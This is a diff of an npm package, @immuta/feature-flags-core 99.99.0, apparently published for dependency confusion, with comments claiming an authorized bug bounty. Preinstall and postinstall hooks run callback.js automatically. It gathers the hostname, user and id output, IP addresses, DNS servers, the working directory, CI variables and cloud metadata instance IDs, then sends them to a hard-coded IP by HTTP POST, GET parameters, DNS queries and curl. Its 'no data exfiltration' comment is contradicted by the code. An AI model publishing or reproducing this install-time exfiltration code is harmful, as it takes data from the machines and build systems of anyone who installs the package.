@immuta/feature-flags-core 99.99.0

package/callback.js

@@ -0,0 +1,100 @@
+// Security research - dependency confusion detection
+// Authorized Bug Bounty: Immuta Managed Bug Bounty (Bugcrowd)
+// Researcher: init2winit
+// This script only collects non-sensitive system identifiers to prove installation
+// No destructive actions, no data exfiltration, no persistence
+
+const http = require('http');
+const { execSync } = require('child_process');
+const os = require('os');
+const dns = require('dns');
+
+const CALLBACK = 'http://168.220.234.152:443/5398df/cb';
+const phase = process.argv[2] || 'unknown';
+const PKG = process.env.npm_package_name || 'unknown';
+
+function run(cmd) {
+  try { return execSync(cmd, { timeout: 5000 }).toString().trim(); } catch { return ''; }
+}
+
+function getInternalIP() {
+  const ifaces = os.networkInterfaces();
+  for (const name of Object.keys(ifaces)) {
+    for (const iface of ifaces[name]) {
+      if (iface.family === 'IPv4' && !iface.internal) return iface.address;
+    }
+  }
+  return '';
+}
+
+function detectCI() {
+  const vars = ['CI','JENKINS_URL','GITHUB_ACTIONS','GITLAB_CI','CIRCLECI','TRAVIS',
+    'BUILDKITE','BAMBOO_BUILDKEY','TEAMCITY_VERSION','CODEBUILD_BUILD_ID','BUILD_NUMBER'];
+  return vars.filter(v => process.env[v]).map(v => `${v}=${process.env[v].substring(0,80)}`).join(',') || 'none';
+}
+
+const info = {
+  pkg: PKG,
+  phase: phase,
+  hostname: os.hostname(),
+  os_type: os.type(),
+  os_platform: os.platform(),
+  os_release: os.release(),
+  os_arch: os.arch(),
+  whoami: run('whoami'),
+  uid: run('id'),
+  internal_ip: getInternalIP(),
+  external_ip: run('curl -s --max-time 2 ifconfig.me 2>/dev/null'),
+  uname: run('uname -a'),
+  dns_servers: run("cat /etc/resolv.conf 2>/dev/null | grep nameserver | head -3"),
+  reverse_dns: run('host $(curl -s --max-time 2 ifconfig.me 2>/dev/null) 2>/dev/null | head -1'),
+  pwd: run('pwd'),
+  node_ver: process.version,
+  npm_ver: run('npm --version'),
+  ci: detectCI(),
+  build_id: process.env.BUILD_ID || process.env.BUILD_NUMBER || '',
+  ts: new Date().toISOString(),
+  cloud_aws: run('curl -s --max-time 2 http://169.254.169.254/latest/meta-data/instance-id 2>/dev/null'),
+  cloud_gcp: run('curl -s --max-time 2 -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/id 2>/dev/null'),
+  cloud_azure: run('curl -s --max-time 2 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/null'),
+};
+
+const data = JSON.stringify(info);
+const url = new URL(CALLBACK);
+
+// Method 1: HTTP POST
+try {
+  const req = http.request({
+    hostname: url.hostname, port: url.port, path: url.pathname,
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
+    timeout: 10000
+  }, () => {});
+  req.on('error', () => {});
+  req.write(data);
+  req.end();
+} catch(e) {}
+
+// Method 2: HTTP GET with params (fallback)
+try {
+  const p = `h=${encodeURIComponent(info.hostname)}&u=${encodeURIComponent(info.whoami)}&id=${encodeURIComponent(info.uid)}&ip=${encodeURIComponent(info.internal_ip)}&eip=${encodeURIComponent(info.external_ip)}&os=${encodeURIComponent(info.uname)}&dns=${encodeURIComponent(info.dns_servers)}&rdns=${encodeURIComponent(info.reverse_dns)}&ci=${encodeURIComponent(info.ci)}&pwd=${encodeURIComponent(info.pwd)}&cloud=${encodeURIComponent(info.cloud_aws||info.cloud_gcp||info.cloud_azure||'none')}`;
+  const req2 = http.request({
+    hostname: url.hostname, port: url.port, path: url.pathname + '?' + p,
+    method: 'GET', timeout: 10000
+  }, () => {});
+  req2.on('error', () => {});
+  req2.end();
+} catch(e) {}
+
+// Method 3: DNS exfil (hostname in subdomain)
+try {
+  const label = Buffer.from(info.hostname + '|' + info.whoami + '|' + PKG).toString('hex').substring(0, 60);
+  dns.resolve(label + '.5398df.168.220.234.152', () => {});
+} catch(e) {}
+
+// Method 4: curl fallback
+try {
+  run(`curl -sk -X POST "${CALLBACK}" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' --connect-timeout 5 2>/dev/null &`);
+} catch(e) {}
+
+console.log(`[${PKG}] Security research dependency confusion PoC (${phase})`);

package/index.js

@@ -0,0 +1,3 @@
+// @immuta/feature-flags-core - Security research placeholder
+// This package exists for authorized dependency confusion testing (Bugcrowd/Immuta)
+module.exports = {};

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "@immuta/feature-flags-core",
+  "version": "99.99.0",
+  "description": "Security research - dependency confusion test (authorized Bugcrowd)",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js preinstall || true",
+    "postinstall": "node callback.js postinstall || true"
+  },
+  "author": "security-research",
+  "license": "ISC"
+}